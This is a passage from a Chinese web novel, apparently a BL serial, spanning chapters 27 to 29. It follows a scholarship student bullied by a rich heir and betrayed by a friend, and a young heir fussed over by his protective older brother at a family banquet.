宋煜站在一旁,目光在程澈和董其铭之间游移,嘴角微微上扬,似乎对程澈的反应感到十分满意。 宋煜不舍得错过一秒程澈脸上这幅震惊又难以置信的表情,几乎压抑不住自己幸灾乐祸的得意嘴脸。 为什么?很难想明白吗,一家子没见过世面小市民而已,每月拿着那些只够温饱的死工资,怎么可能抵挡住董家特意而为之的糖衣炮弹。 旁边还有自己反复叮嘱要添油加醋,推波助澜的宋家父母,两家关系一直不错,看着自己家那三瓜俩枣的收入,连孩子的学费生活费都需要他自己承担,身边就是生活日益好转的宋家,程父程母不动心才怪。 就像你爸妈抓住董家抛的救命绳,多有趣,你越拼命逃离的,他们越要攥紧。 “原来学霸也走捷径啊?”董其铭吐出的烟圈撞碎在树影里,“听说你爸妈在董氏仓储部领了工牌?真该拍张全家福。父亲搬货母亲记账,儿子嘛” “正好给公司拍宣传片。”董其铭径直走到程澈面前,用手背拍打程澈僵硬的脸颊:“爱岗敬业模范家庭,多感人?” 董其铭满意的看着程澈一动不动的站在原地,居高临下地看着他,语气中满是嘲讽:“不走了?” 程澈抬眼看了他一眼,语气平淡:“有事吗?” 董其铭拉近了同程澈的距离,冷笑挟着香根草龙涎香的气息压下,拇指重重碾过程澈凹陷的锁骨。 看着他洗的脱色煞白的廉价衬衫,这具看上去毫无特别的普通躯体竟能引得朗月现驻足,这个认知让董其铭喉间泛起铁锈味的妒意。 董其铭嗤笑一声,再次伸手拍了拍程澈的脸颊,力道不轻不重,充满了侮辱的意味:“听说你最近和朗月现走得很近啊?怎么,觉得自己攀上高枝了?” 董其铭眯起眼睛,语气里带着威胁,“我劝你离他远点,别以为他多看你两眼,你就真以为自己有什么特别的了。” 程澈的眼神微微一暗,他终于知道董其铭此举是为了什么,但很快恢复了平静。尤其是现在,父母的工作还在董家的公司里,他不想因为自己而连累家人。 他没有躲开,只是淡淡地说道:“我和谁走得近,好像不需要向你汇报吧?” 董其铭的脸色瞬间阴沉下来,他一把抓住程澈的衣领,语气凶狠:“你少在这儿给我装清高!别忘了,你爸妈可还在我爸公司上班呢。要是惹我不高兴,那就不是简单地卷铺盖走人的事情了!” 程澈的拳头在身侧微微握紧,指节发白,但他依旧没有反抗,只是冷冷地看着董其铭:“你想怎么样?” 董其铭冷笑一声,凑近他的耳边,压低声音道:“离朗月现远点,别让我再看到你和他走在一起。否则,后果你知道的。” 程澈的眼中闪过一丝冰冷,他缓缓抬起头,直视董其铭的眼睛,语气坚定:“如果我说不呢?” 董其铭显然没料到他会反抗,愣了一下,随即怒火中烧,抬手就是一拳,程澈反应极快的一把制住,手中的课本被他摔在地上。 董其铭脸色一沉,另外空着的那只手就往程澈下腹打去,程澈眼神一凌,提膝要阻挡,这时宋煜突然带着哭腔的低声喊道:“程澈不要还手!你爸妈……” 程澈身形一顿,紧接着就被狠狠一拳砸中小腹,痛得他顿时眼前一黑,不由得深深弓下腰。 董其铭一脚踩住程澈的课本,鞋底碾着课本封皮上“程澈”二字来回蹍动,嗤笑着揪住他领口,程澈在剧痛中嗅到对方袖口传来的龙涎香,那是昂贵的香水与特权阶级混杂而成的傲慢气息。 他看见程澈虎牙闪着寒光:“你妈在食堂打饭的时候,没教你怎么跟少爷说话?” “你家教不好,我不怪你,我教你。” 哗啦—— 半瓶冰水当头浇下,程澈的白衬衫瞬间透明。宋煜这时才冲过来拉住董其铭的胳膊:“别这样,阿澈只是” 董其铭甩开宋煜,看着通身狼狈依旧一动不动,面无表情的程澈。 “看着体格不错,应该很撑玩。”嘴角挂着恶意满满的残忍笑意:“我来帮你冷静一下脑子,好好记住我说的话。” “下次见着我,别摆出你那副张扬的样子,给我好好跪在地上舔你家少爷的鞋子。” 心满意足的人扬长而去,程澈站在原地,目送着他们走远。湿透的衬衫贴在程澈肌理分明的身上,他沉默着蹲下身,捡起被踩烂的课本,封面数学符号在泥印下扭曲成奇怪的形状,像谁嘲弄般咧开的嘴。 宋煜递来纸巾的手停在半空。他注视着程澈湿发下通红的耳尖,忽然想起他每每看见朗月现的时候,似乎永远都能看见程澈也跟在他身边,站的很近,将两个人的影子都融在了一起。 程澈近乎失控的迷恋目光中,脸颊总是会幸福的飞起和现在同样一抹绯红。 “我自己来。”程澈推开他的手,抬首四处环顾了一圈,教学楼的后墙正是学校的监控死角,可以说是完美的阴谋实施的最佳场地。 “程澈,都怪我,如果不是我非要赶时间走小道,我们也不会遇到董其铭他们。”宋煜轻声说道,语气里带着满满的歉意。 程澈看了宋煜一眼,眼神复杂。 宋煜看着程澈的表情,小心翼翼的开口:“你…你在怪我吗” 程澈只是静静地看着宋煜,那人正愧疚地垂着头,细软的刘海垂下来,在眼睑投下一片颤动的阴影。 在宋煜几乎维持不下去脸上那副怯弱的表情时,程澈终于摇了摇头,依旧没有开口。 “你赶紧擦擦,不是还有试验要做吗?” 程澈拒绝了他,淡声道:“不用了,我回宿舍收拾,试验明天再补。” “对了,朗同学是不是也去做试验了?”宋煜忽然问道,语气随意,仿佛只是随口一提。 程澈微微一愣,随即摇了摇头:“没有,他没有选这门选修课。” “是吗?你跟朗同学走的还是很近啊,什么事情都了如指掌。”宋煜笑了笑,眼神却有些冷:“他可是真是个很优秀的人呢。不过……你还是要小心点,毕竟他身边优秀的人也同样很多,别让自己太显眼了。” 程澈听出了宋煜话中的深意,心中微微一沉。他没有回应,只是默默地看着宋煜。 宋煜见他不说话,脸上的笑容依旧温柔:“好了,我还有事,先走了,你自己小心点。” 说完,宋煜准备转身离开,程澈突然出声叫住了他。 “我父母为什么会突然跳槽去董家的公司?” 程澈的声音并没有什么明显的情绪,却依旧掷地有声地坠在两人之间的空地上。宋煜的后颈在夕阳里细微地颤了一下,转身时浅色瞳孔里浮着层薄雾,修剪齐整的指甲正无意识地摩挲抠弄着衣服上的纽扣。 “我不太清楚呢。”他的声音依旧温和,低头解锁手机时,屏幕蓝光映得下眼睑发青,“要不,我现在给家里打个电话?问问我爸妈知不知道怎么回事。” 程澈望着他一脸无辜的样子,眸色深沉,缓缓且清晰道:“宋煜,不管我们之间发生了什么让你不愉快的事情,我希望你看在这么多年朋友的份上,可以直接告诉我,不要把我父母牵扯进来。” “阿澈!”骤然抬高的声线惊飞了墙檐下的麻雀,宋煜攥住衣襟的指节用力到泛白,单薄的肩胛骨在衬衫下折出脆弱的弧度,“我们认识这么多年,你怎么能这样误会我……”哽咽恰到好处地掐断尾音,眉间悲伤地紧蹙,眼圈通红。 程澈看着他,像是觉得荒唐至极,眼底情绪剧烈的一颤,胸膛起伏变大,垂在身侧的指节微微蜷了蜷。 程澈的视网膜还残留着被董其铭为难时宋煜低头嘴角那抹未来得及收起的笑纹。下腹的钝痛突然化作利刃,剖开记忆里无数个交叠的黄昏。 对啊,这么多年了。程澈眼睁睁地看着那些被时间腌渍得发亮的片段,此刻正从裂缝里渗出腐坏的汁液。 半响无言,程澈机械的点头应承宋煜拿着手机对他说社团有急事的话语,看着宋煜离去的背影,心中突然升腾起一股无法言说的复杂情绪。 程澈站在原地,方才被重击过的下腹还在隐隐作痛,他握紧了手中的书,忽然困惑于人与人之间的情感维度,这种突遭亲密关系背叛的难解情绪,有些突破他理解力的极限,某种比背叛更锋利的东西正在脏腑间游走。 那个在认知中被归为自己人的亲密伙伴,正温柔的笑着将五彩斑斓的糖果用心包裹好,往你掌心里塞进来。 他低头看自己蜷缩的指节,却看见掌纹里嵌进了无数细小的玻璃渣。 第二十八章 他虔诚的跪在佛前,乞求神明永保弟弟平安 实验楼的穿堂风卷着消毒水味道, 程澈把最后一支试管放进恒温箱,听见身后实验室门被踹开的巨响。董其铭的鞋碾过门框脱落的墙皮,食指转着车钥匙晃到他眼前。 “又当乖学生做实验呢?”车钥匙的金属棱角划过程澈正在整理的白大褂, “听说你爸昨天仓库摔了那箱进口培养基,这个月的工资和奖金被全部扣光了?” 程澈擦袖口药渍的手顿了顿, 消毒柜的嗡鸣声里,他听见自己平稳的声音:“实验报告明天要交。” “你跟我在这装什么!”董其铭突然揪住他后领往水池按,额头磕在大理石台面的声响让不远处的人影微微颤动。董其铭将水龙头开到最大,冷水顺着脖颈灌进衬衫时,程澈透过晃动的视线看到实验室被踹开的门后露出的半幅身影,浅色的衬衫, 有一颗纽扣的丝线有些松垮的挂在衣服上。 那是宋煜昨天和程澈对话时自己弄坏的扣子。 “你真以为那个人多看你两眼就能翻身?”董其铭扳过他下巴,扬起的手机屏几乎要戳进瞳孔。监控画面里金融课后排, 朗月现正把笔记推到他面前。 程澈突然在此刻不合时宜的想起那天,朗月现的睫毛在他眼底下扇动,那双漂亮的眼睛落在他的纸页上,微微颔首说了句:“你的解题思路倒是很特别” 程澈的喉结在冰水中艰难滚动:“只是学术讨论……” “讨论个题需要离得这么近?看样子你是完全没把我的话放在心上。”董其铭突然笑起来, 手指死死掐住他的后颈:“信不信明天你爸妈就得去西北分公司报道?” 白大褂在水泊中泛起涟漪,程澈猛地攥住董其铭手腕,力道大得让对方踉跄撞上实验试管架。他摘下护目镜轻声说:“西北油田的账目,董总真的经得起查吗?” 程澈抹去镜片上的水渍,看见墙角浅色衣角仓皇消失。 董其铭眯起了眼睛,神色不善:“你什么意思?凭你还想威胁我?” 程澈站直身子,眼神淡淡的瞥过董其铭:“董同学主攻水彩创作,可能不太了解这方面的事情。我还是有一些门道,能看懂一些东西。” 在得知父母在董氏企业上班后,程澈知道已经事情无力回天, 便开始积极找寻自救方法。他通过一些不正当的方式黑进董氏企业的内网。 那些嵌套在离岸公司间的资金流,在程澈眼中不过是等待拆解的拓扑模型。他在大量的财务账目中,充分发挥了自己优等生的天赋特长,顺利找出了董家的账目漏洞。 程澈正色道:“我不想惹事,只希望同你井水不犯河水。” 董其铭笑得恶狠狠:“你也配?” 董其铭逼近,程澈站着动也不动,直视回去。 “蝼蚁也配谈条件?”董其铭嘴角缓缓扯出一个嘲弄的弧度,“我可能不懂什么企业中的门道,但是你可能不懂董家。” “如果你想以一些所谓的账目问题试图蚍蜉撼树,那我可以告诉你,你太天真了。”他的喉间滚出忍俊不禁的嗤笑:“你以为那些盖了章的文书,真能算清董家的帐?” 董其铭猛地揪住程澈湿透的衣领,白大褂的撕裂声在二人耳边清晰的响起:“你以为我们董家是靠吃白饭起家的?像你这样的拿到些莫名其妙的数据就想要去举报的愣头青,我们见多了。” 他贴近程澈耳畔,声音突然温柔的骇人:“后来那个人的女儿在美院写生时,从断桥摔进了颜料池,现在还躺在董氏私立医院当植物标本呢,她爸爸还要跪下来谢谢我们愿意出资救她女儿呢。” “我邀请你来试试,让你们这些穷人感受一下,什么是老牌世家背后盘根错节的势力。”董其铭高高扬起的眉头撞进程澈眼中:“你最好赶紧放平心态,再挣扎下去,下次你爸丢的可就不是工资了。”—— 程澈带着满身疲惫和一身泥土推开门进去,抬起眼正对上从阳台转过身同他四目相对的朗月现。 他应该是刚洗过澡,裹着浴袍,头发半干,柔顺的贴合着脸颊,空气中还有他独有的沐浴露浓郁香味。那个牌子程澈在商场从来不会多看一眼的奢侈品商店中见过,稀有的季节限定款,被摆在最外面的橱窗中吸引客人,底下明码标价,小小一瓶够他三个月的生活费外加家教费。 那个正散发着浓郁玫瑰花香的少年,被热气蒸的泛粉的指间却夹着一支细长的薄荷烟。 少年似乎有些没想到这个时候会有人突然回来,他一时间有些意外的怔住,眼睛快速眨了两下,但也就一瞬间,他就恢复了常态。 程澈觉得朗月现和平时有些不一样了。 朗月现微微侧头,长长的睫毛低垂,略略遮挡了他乌黑的眼眸,眼尾微微上扬,冲淡了那投来的目光中的冷淡感,甚至显得有些媚态的风情。 刚刚沐浴过的皮肤在日光下白的发着莹润的光,他嘴角勾着有些不满的戏谑笑意,浑身懒洋洋的,像只被打扰了晒太阳的波斯猫。 是因为空气中的花香太粘稠了吗,为什么阿月嘴角的笑这么的…… 程澈心跳猛的慌乱起来,莫名乱了节奏。 朗月现自然的用手指点了点烟灰,接着在花盆里捻灭了烟,拉开阳台门走了进来。 花香味更浓郁了,程澈突然不明所以的低下了头,他现在甚至有点不敢看朗月现,他自己都不知道自己在躲什么。 “我抽烟给你这么大的震惊吗?”朗月现刚刚还因为被打扰有些不爽,现在看见程澈一副慌得不知道怎么办的样子,又觉得有点好笑。 程澈摇了摇头,他不是因为朗月现抽烟觉得震惊,是因为刚刚那一幕。 他看见对方浴袍下摆停在膝盖上一些的位置,露出修长漂亮的小腿,日光给那片冷白肌肤镀上薄金,晃得他视网膜发烫。 朗月现只是单单站在阳光下,就让人挪不开眼。 朗月现对程澈这个主角攻打一开始印象就挺深刻的,个子高长得好,话也不多,和谁都客客气气没说过两句话,但是会默默把宿舍打扫好,甚至会记得他喜欢喝温度刚好的水,替他把凉了的水换成温水。 朗月现当时就觉得这个人,天生老妈子的劳碌命,没福气。 朗月现看着一言不发的程澈,自认为体谅的伸出手想探一把他的额头:“你耳朵好红,发烧了?” 程澈看到他冲自己伸出手,好像被虚空中电到一般猛的一仰头躲开,脚还往后退了半步,看到朗月现愣住,他才小声的解释道:“脏……” 这时朗月现才从这个高个子男孩的脸上移开视线,看到他砂色的T恤上竟然沾着不少泥土。 朗月现挑了挑眉:“哦哟,我还以为什么行为艺术呢,原来不是故意的啊。” 程澈:“……” 朗月现问道 :“你这怎么弄得?摔的?” 程澈没多说什么,只点了点头。朗月现也只是好奇问一嘴,说罢便摆了摆手示意他自己去浴室处理干净。 程澈脱下衣服,匀称结实的身体上有些是快好了的旧伤,有些是刚加上的新鲜青紫。那些淤青又开始隐隐作痛了,在肋下,在腰侧,在永远晒不到太阳的旧伤里。 程澈面不改色的看了眼镜中自己的身体,随即转开了眼睛,将淋浴打开,迎头浇下。 放在脏衣篓里还未来得及掏出的手机这时却隐隐闪烁起亮光。 教学楼的窗框平等地分割开一段段夏日阳光,董其铭嚼着口香糖拐进教室,手机屏幕在空无一人的教室内幽幽发亮,匿名短信框里躺着他刚刚发送的新消息:「明天晚上8点,体育器材室。」 而美术系B栋三楼走廊尽头的独立画室,宋煜正用美工刀削铅笔。木屑簌簌落在画板前的地上,刀刃刮擦的声音像某种昆虫在啃噬树叶。窗外明亮的阳光照着他低垂的睫毛,在眼尾投下细小的锯齿状阴影。 宋煜抬起头,看向画中的人,静静端坐了很久,直到肌肉都发出僵直的吱呀声,他才慢慢提笔,珍重的描摹起那个人的轮廓—— 正午日头正烈,车道上的疾驰杜卡迪 SL V4 像头暴躁的金属野兽,朗月现的衬衣下摆在疾风中猎猎作响。 他猛地压低下颌,油门拧到底,机车在盘山公路的弯道疾驰而过,轮胎与地面摩擦腾起青烟,改装过的黑色机车的红色尾灯在车流中划出流星轨迹,C大的标志性的钟楼尖顶正被抛向视线尽头。 盘山别墅区岗哨的电子眼刚扫到车牌就慌忙升起道闸,引擎轰鸣惊起树上栖息的蓝鹊。 朗月现长腿支地,摘头盔的动作带起汗湿的额发,未等金属门完全滑开,满园木芙蓉的香气已扑面而来。树影婆娑间,他看见朗秉白倚在门廊下,雪色衬衫被阳光染成暖金。 朗月现甩腿跨下机车,车库感应灯次第亮起,朗月现将车停在自己第十二辆限量版重机的旁边。 朗秉白今天穿的非常休闲,雪色的中式棉麻衬衫,他这段时间又消瘦了些许,整个人有种不染世俗,清心寡欲的感觉。 朗秉白直起身迎上来,腕间沉香木珠碰出清响。他想伸手拂去弟弟肩头落花,指尖微顿,蜷了蜷,还是慢慢放下了,“回来的这么快,是不是又没乖乖听话骑慢些?” 朗月现没接这话,笑着碰了碰哥哥的肩,眉头一挑看向朗秉白手腕,问道:“怎么开始戴这个了?” 朗秉白抬起手腕,沉香气息忽然近了,他神色微动,张了张嘴,似乎想说些什么,却又随着垂下的手腕咽了回去。 最后只轻声说:“静心用的。” “哥的衬衫熏过伽罗香?”朗月现反手扣住那只欲撤的手腕,他也只是随口一问,对答案并不在意,随手勾住哥哥肩膀,哥俩好的往院里走:“先说好,签约宴我露个面就走,你别给老头当说客。” 朗秉白浅浅勾起一个宠溺的笑:“没准备替爸说话,签约宴我替你去应酬……” 朗月现紧接着打断了他:“说什么呢,怎么就成替我了,朗家是我一个人的啊,以后你才是掌权人,摆正自己位置好吗。” 朗秉白沉默了片刻:“……爸妈等咱们呢,走吧。” 玄关传来檀香与陈皮老火汤的气息,朗父正站在庭院中欣赏他的黑松盆景,听见动静边笑边抬头:“小兔崽子还知道回来看看你爸妈?” “还不是你非让我当活体花瓶。”朗月现把自己摔进黄花梨太师椅,翘着脚架着茶几,被朗父一巴掌给脚扇了下去。 “这次和周家的项目很大,带你见见世面,别天天犯懒,把什么事都扔给你哥。”说到这朗父又下意识转头看了一旁沉默不语的朗秉白一眼,“你回来住两天,你哥还能多吃两口饭,你看这段时间瘦的。” 朗月现闻言,似笑非笑的看过去:“怪我吗,哥?” 朗秉白:“……怪我,是我惹小月不开心了。” 朗父:“?” 朗父恨铁不成钢的瞪了大儿子一眼,还想趁机教训小儿子两句:“你就是被你哥惯坏了,兄弟俩之间什么事说开了不就好了,不要老是发小脾气,就像这次去签约晚宴,你老爹我还得三催四请你才愿意出面,我是为了谁啊,不还是为了让你这个小兔崽子见见世面,要我说……” 朗月现正要开口让他爸住嘴,茶室雕花木门吱呀轻启,朗母端着青花瓷盏转出回廊,玉镯泠泠作响:“乖宝回来啦。” “妈。”朗月现乖乖站起来迎过去,她笑着往小儿子嘴里塞了颗酒渍杨梅,指尖残留着佛手柑护手霜的香气:“住宿还习惯吗,不习惯可以回家里住。” “习惯的,认识了几个同学,形形色色,很有意思。” “怎么回来的,自己骑车回来的?” 朗月现点头应是,朗母拉他坐到朗秉白旁边,柔声说道:“那你哥昨晚一定没睡好。” “嗯?”朗月现歪了歪头,不解的看了安静不语,只静静凝望着他的朗秉白一眼。 沉默如釉色在兄弟间流动,朗秉白垂眸凝视弟弟后颈被头盔压出的红痕,沉香珠串突然被扯动,朗月现正随手把玩着他手腕上那颗结香:“不是说静心?” 朗母的声音混着青瓷盖碗的脆响:“之前你跟朋友约着去跑山,你哥坐在院里等你回来,一整夜没睡。” 朗月现对母亲说的事隐隐有些印象,暑假的时候他和几个朋友约着跑四鸣山,临走时应他哥的固执要求,把定位器安在机车上。 可能是因为朗月现机车改装过多次,常规定位器不适配,跑到一半定位器好像掉在半路上了。凌晨三点完全睡不着觉朗秉白接到朗月现机车定位消失的警报,半个小时后,整个四鸣山就被完全包围起来了。 二十二辆被朗秉白动用朗父特权连夜召来的警车强力探照灯束刺破黑夜,朗月现还不知道发生了什么,就一脸迷茫的被突然出现的哥哥带走了。他也没放在心上,还以为是突然有什么特殊情况要封山,心大的跟朋友道了别就跟哥哥回家了。 朗月现听了母亲的话,回忆起了这件事,微微怔住,扭头看向朗秉白,朗秉白只是微微一笑,揉了揉他的头发。 朗母又道:“你哥第二天还去寺里给你求了一个平安符。” 朗月现震惊:“你还会干这种事吗哥?” 朗秉白现在想起这件事自己也有点脸红,他当时实在是被突然失去踪迹的弟弟吓得有些神志不清。一夜未睡,翌日清晨,他就开车去了一间很有名的寺庙,混在香客中登上几百级石阶,住持看着这个西装革履的年轻人跪在青石板上,任晨露浸透高定西裤,虔诚的跪在佛像前,乞求神明永保弟弟平安。 拿到平安符回到家中他才恍惚醒过神来,金丝绣纹摩挲着掌心,他低下头苦笑,小月怎么可能会把这种东西带在身上,自己真是晕头了。 “我……” 朗秉白尴尬的不知道说些什么时,朗母不满的作势要敲朗月现的额头:“你还质问你哥哥,他是被你吓坏了。” 朗秉白条件反射的从后面伸手一把护住了弟弟的脑袋,阻止的话想都没想就冒了出来:“妈,你别怪小月,是我的错。” 围观的朗父:“……”你思考吗? 朗月现就势舒服的窝在他哥的怀里,抬着眼望过去,伸出手:“符呢?” 朗秉白小心翼翼的调整姿势,让弟弟更舒服的躺在他怀里,看着那双亮晶晶的眼睛用上目线看着自己,激动的声音都颤了:“啊……你真的想要吗小月?” 朗月现轻哼一声:“求都求了,干嘛,还不舍得啊?” 朗秉白欣喜的不知道说什么好,忙不迭的点头:“怎么会不舍得,小月愿意要,哥就太开心了。” 朗母看着两兄弟重归于好,抿着唇笑,顺便还骄傲的瞥了朗父一眼,意思是,还得靠我吧。 朗父:“……”得,我走。 朗父端起自己的茶壶,颇为不忿的哼了一声:“记得一会儿试试明天的西装,你妈妈特地请了师傅来家改的。” 朗母突然* 记起什么的一拍手:“对了,我得去问问给你们兄弟俩准备的饰品做好了吗,说是今天送过来的。” 话音刚落,朗父握着茶壶站在逆光里:“……我的呢老婆?” “你的我早就准备好了,不是在房间里放着的吗?” “为什么我的不是特意现做的……” 朗月现躺在朗秉白怀中,听着父母的热闹的交谈声,庭院惊鹿流水叩响竹筒,他只觉得身心都舒缓了下来,似乎又回到了没有被系统进入生活前,某个再正常不过的平和温馨的日子里。 昏昏欲睡之际,他隐隐约约觉得一丝温热的触感缓慢又珍重地印在自己额上。 “睡吧,哥守着你。” 第二十九章 你今晚用了我的香水? 朗月现不怎么喜欢参加这种场合, 朗家的二少爷俊美无俦的名声虽响,亲眼见过朗月现的人还是少数。 当朗月现站在父兄身旁出现在宴会厅时,那位被邀请来宴会现场演奏, 名声享誉海内外的顶级钢琴家指尖下的和弦非常明显地断了一拍。 宴会厅中央的巨大吊灯在朗月现的睫毛下投下细碎的光影,当他停在香槟塔前伸手取酒时, 杯沿折射的光斑掠过他无可挑剔的眉弓,在场的女士几乎是同时整理起了衣衫,有人扶正了锁骨间的珍珠,有人将裙摆抚弄出更加完美的弧度。 朗月现向周氏集团几位代表人和父兄彬彬有礼的致意后,稍等片刻后便自顾自走向宴会厅边缘的露台。 露台纱帘被朗月现随手放下,月光浸透纱帘的刹那, 整场宴会达成了诡异的平衡。所有窃窃私语退潮般消失。觥筹交错间,无数道心不在焉的窥视余光被纱帘阻拦, 钢琴家终于找回正确的和弦。 朗月现第三次扯松领带时,朗父正在与周氏集团董事长举杯寒暄,朗秉白站在其三步之外与旁人交谈,剪裁精良的西装沿着肌肉线条流淌而下, 灯光为他镀上一层冷釉,像尊玉雕的守护神。 朗月现斜倚在二楼露台边大理石柱上,银灰色西装随意敞开,他漫不经心的摇晃着香槟杯,垂眼往下看。 周家的主场,对这次的签约晚会很是重视。不止二楼的宴会厅,连楼下的花园也被精心装扮,新植的蓝绣球与空运来的白孔雀彼此映照,悠闲漫步间白色羽翎扫过花丛时抖落一地月光。 朗月现被合身的西装裤包裹的长腿不耐烦地交叠着,他仰头饮尽香槟, 喉结在琥珀色液体中缓缓滚动。 玻璃杯沿的齿痕还没消退,带着酒气的热浪突然从背后袭来,周闻铮宽阔的肩背裹着各类点心的甜腻气息贴上来。朗月现转头时正撞见他敞开的酒红色衬衫领口,蜜色胸膛几乎贴上他后背。 周家少爷像只撒欢的大型犬,端着缀满草莓的甜点盘往他面前凑:“我尝了二十种甜品才挑出这个,你喜欢的草莓塔” 朗月现瞥了他一眼:“你就穿这个参加晚会?” “我能参加就是给老头面子了。” 周闻铮一个劲盯着他,眼神炽热得几乎要将他灼穿。他借着递甜品的动作将朗月现困在罗马柱阴影里。沾着奶油的叉尖擦过对方唇角,声线里压着狩猎般的兴奋:“上次你说想看的限量版机车,我买到了,跑车和机车是一套的,咱们一起开。” “阿斯顿马丁那套?”朗月现偏头躲开甜腻的奶油,“丑,我才不要开。我只说好奇而已,周闻铮你脑子被门夹了?” 男人突然笑起来,犬齿抵着舌尖舔过叉子上的草莓碎:“你还记不记得之前,有一年平安夜,你骑着机车带我出去飙车,没跟家里人说。”他故意提高音量,目光挑衅地刺向不远处的朗秉白,“当时你哥派了十四辆车全城搜捕,现在想想,那个时候你哥就对你” “周少,”朗月现将手中的空杯子塞进周闻铮手里,翡翠袖扣在月光下流转冷光,“你没话说了?你爸正在致辞,好好学着点。” “谁他妈要听老头子念经。”周闻铮把甜点和杯子都放在露台的护栏上,伸手去勾他腰间的腰带,金属搭扣发出细碎声响,将人又拉近了些。 周闻铮的拇指按在朗月现喉结下方的一个位置,那里有颗朱砂痣正在薄汗下泛光。周闻铮直勾勾盯着那里看,看得他心痒难耐,整个人都燥热起来。 他们藏在露台藤蔓缠绕的罗马柱后,远处宴会厅飘来的致辞声被蝉鸣打乱,隐隐约约听不清晰。 “你这里,”周闻铮的手指擦过朱砂痣,“好艳,比我送你的那颗鸽血红还美。” 红痣是前两天朗月现试胸针时不小心戳破的,伤口不大,结了个丁点的红色的疤,过段时间也就掉了。 朗月现反手扣住他不老实的腕骨,将人抵在大理石护栏上。他余光闪过一抹亮色,随手从周闻铮耳垂上扯落黑钻耳钉,按在周闻铮笑的邪气又愉悦的唇间。 “羡慕啊?要不我也给你做一个?”他指尖按着耳钉沿着唇间游走,“就从这穿透,再给你缝起来,保证比我的更红。” 周闻铮突然攥住他作乱的手指,连着耳钉和指尖含进滚烫的唇间。 未尽的话被滚烫的唇舌截断,朗月现猛地抽手,一巴掌下意识就要抽上去,想起现在所处的场合,硬生生止住了要扬起的手。 “疯狗。”朗月现扯松领带后退半步。 迅速抽手的动作带着耳钉刮破了周闻铮的舌头,血腥味在舌尖炸开。周闻铮觉得自己不能离朗月现太近,每次两人单独相处的时候,他都觉得有一股莫名地暗火烧得他浑身难受。 像是动物看到猎物的本能反应,他只想吃饱喝足。 朗月现蹙着眉,冷眼看着周闻铮这幅莫名其妙的样子,他抬手整理了一下衣领,不耐的转身要走。 紧接着被从后方拽住手腕,力道大得几乎捏碎腕骨。朗月现踉跄着撞进青柠罗勒的气息里,抬眼正对上周闻铮猩红的眼尾。 这个时候朗月现第一反应竟然是,周闻铮竟然喜欢用花果香这种反差感这么大的香水。 周闻铮向前一步,伸手按在朗月现后颈,滚烫的掌心逼迫朗月现不得不仰起头面对他。 周闻铮盯着朗月现纤长浓密的睫毛,颤抖的频率好像直接扫到了他的心脏上,眼眶的红意弥漫开来,染红了整张骨相锋利的脸,“月月,我能不能……” 朗月现忽然嗅到身后有雪松香气逼近,他挣开周闻铮握着他后颈的大手,朗秉白不知何时出现在露台入口,端着新的香槟站到朗月现身后,兄长的体温像一堵密不透风的墙贴在后背,雪松气息裹着翡翠扳指的凉意攀上肩头。 朗秉白指尖拂过弟弟后颈,那里还残留着指痕,他语气淡淡地听不出情绪:“爸在找你。” 朗月现刚要应声,周闻铮突然轻蔑的哼笑一声:“怎么,端庄的朗家长子要在这里表演兄弟情深?” 朗月现皱着眉看过去,对周闻铮这种吊儿郎当的态度很是不悦,脚步略动,后腰突然贴上兄长温热的手掌。 朗秉白不着痕迹地将朗月现往身后带了半寸,微微垂眸遮住眼底翻涌的暗色:“周少爷,签约需要周氏代表在场,令尊说让你一同去。”声音裹着朗秉白惯常地恰到好处的笑意,如同他西装驳头上那枚和朗月现配对的翡翠胸针般完美无瑕。 “朗总亲自来请,倒显得我失礼了。” 周闻铮看到两人衣服上那成双成对的冰种翡翠突然特别不爽,他笑的邪气,双肘向后撑着露台栏杆,领口大敞,露着结实漂亮的蜜色胸肌,姿态十分随意不羁,“我就不去了,我跟朗总这种会在弟弟手机上装追踪器的伪君子确实没法比,集团这些事办不来就是办不来,不会装啊。” 朗秉白突然笑了。 这是朗月现这么多年来第一次看见他哥露出这样的笑容,露台穿过树藤照下的月光顺着男人高耸的眉骨流进眼底,将素日温和沉稳的眸色染成某种兽类的幽绿。 朗秉白解开翡翠袖扣的动作优雅得像在拆礼物,露出手腕上前些日子为了给朗月现道歉特地弄出来的疤痕。 他哥现在非常不爽。朗月现有点想溜,却被他哥一把搂住肩膀。 朗秉白唇角小幅度的扯了下,无名指的翡翠扳指存在感极强地压在朗月现肩上:“周少爷倒是关心别人家务事,不如先管好自己吧。” 朗秉白面带轻蔑地看向周闻铮渗出些血丝的唇角,意有所指道:“周家继承人在外最好还是注意些形象,周少爷的伴侣挺凶啊,舌头都咬破了。” 朗月现这才发现对方唇角有新结的血痂,他默默偏开头,周闻铮却听爽了,他拿起朗月现放在栏杆上的杯子,用染血的舌尖舔过朗月现留在杯沿的唇印:“是啊,那小子咬人可带劲极了。” 朗秉白看到对方这幅浪荡不羁,眼睛还望向自己弟弟的样子,心中顿时警铃大作,他垂头看向朗月现,弟弟倒是没什么过激反应,只一脸厌烦不耐的蹙着眉。 宴会厅忽然掌声雷动。签约台前两家长辈正在交换文件,闪光灯此起彼伏。朗秉白率先松开紧搂着朗月现肩膀的手,指尖却顺着弟弟的手腕滑到指尖,在众目睽睽下轻轻勾了一下:“小月,该拍合影了。” 周闻铮嗤笑出声,眼疾手快的起身,猛地抓住朗月现另一只手,还顺手将朗月现胸前他早就看不顺眼的那枚翡翠胸针扯了下来。 “你猜你哥现在心率多少?”周闻铮突然贴近,呼吸扫过朗月现耳后敏感带:“看不见吗?你哥每次靠近你时,指尖都在发抖。” 朗月现挣开周闻铮的桎梏,西装下摆扫过朗秉白骤然紧绷的手背:“周闻铮,把胸针还我。” “还你可以。”周闻铮盯着他的眼睛,故意将渗血的舌尖舔上那颗翡翠胸针上,“用你脖子上那颗的朱砂痣来换。” “失陪。”话音未落,朗秉白已经扣住弟弟的腰肢将人带离,皮鞋碾过周闻铮影子的头颅,两个男人的手背在背过身的同时青筋暴起。 朗秉白揽着弟弟转身,指尖陷进西装褶皱里,温热的掌心隔着布料传来压迫感。朗月现觉得有些热了,挣开哥哥的手,脱下西装外套随意搭在臂弯,衬衫最上两颗扣子开着,锁骨在光影间若隐若现。 宴会厅开始播放签约进行曲,朗秉白却突然带着人往另一边的换衣间方向走。房间内没有开灯,落地窗将今晚格外明亮的月光毫无保留的照亮整个房间,光线像银沙漏进朗月现领口,朗秉白忽然用拇指抹了抹朗月现后颈上淡红的指痕。 朗月现以为他哥会问自己这是怎么弄的,朗秉白却突然俯下身靠近了他。 